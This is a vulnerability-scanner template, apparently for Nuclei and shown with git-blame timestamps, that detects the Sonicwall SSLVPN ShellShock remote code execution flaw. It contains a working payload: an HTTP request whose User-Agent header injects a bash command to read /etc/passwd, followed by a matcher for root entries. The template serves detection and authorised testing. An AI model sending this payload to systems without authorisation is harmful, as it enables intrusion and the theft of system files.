2021-01-26 10:20:46 +00:00
|
|
|
id: sonicwall-sslvpn-shellshock
|
|
|
|
|
|
|
|
info:
|
2022-05-30 16:23:29 +00:00
|
|
|
name: Sonicwall SSLVPN - Remote Code Execution (ShellShock)
|
2021-01-26 10:20:46 +00:00
|
|
|
author: PR3R00T
|
|
|
|
severity: critical
|
2022-05-31 09:06:41 +00:00
|
|
|
description: |
|
|
|
|
Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://twitter.com/chybeta/status/1353974652540882944
|
|
|
|
- https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
|
2022-05-30 16:23:29 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: shellshock,sonicwall,rce,vpn
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2021-01-26 10:20:46 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-01-26 10:40:48 +00:00
|
|
|
- raw:
|
2021-01-26 10:44:17 +00:00
|
|
|
- |
|
2021-01-26 10:20:46 +00:00
|
|
|
GET /cgi-bin/jarrewrite.sh HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"
|
|
|
|
Accept: */*
|
2021-01-26 14:31:01 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-01-26 10:20:46 +00:00
|
|
|
- type: regex
|
2022-05-31 09:06:41 +00:00
|
|
|
part: body
|
2021-01-26 10:20:46 +00:00
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-05-31 09:06:41 +00:00
|
|
|
|
2021-01-26 10:20:46 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
2022-05-30 16:23:29 +00:00
|
|
|
- 200
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/05/30
|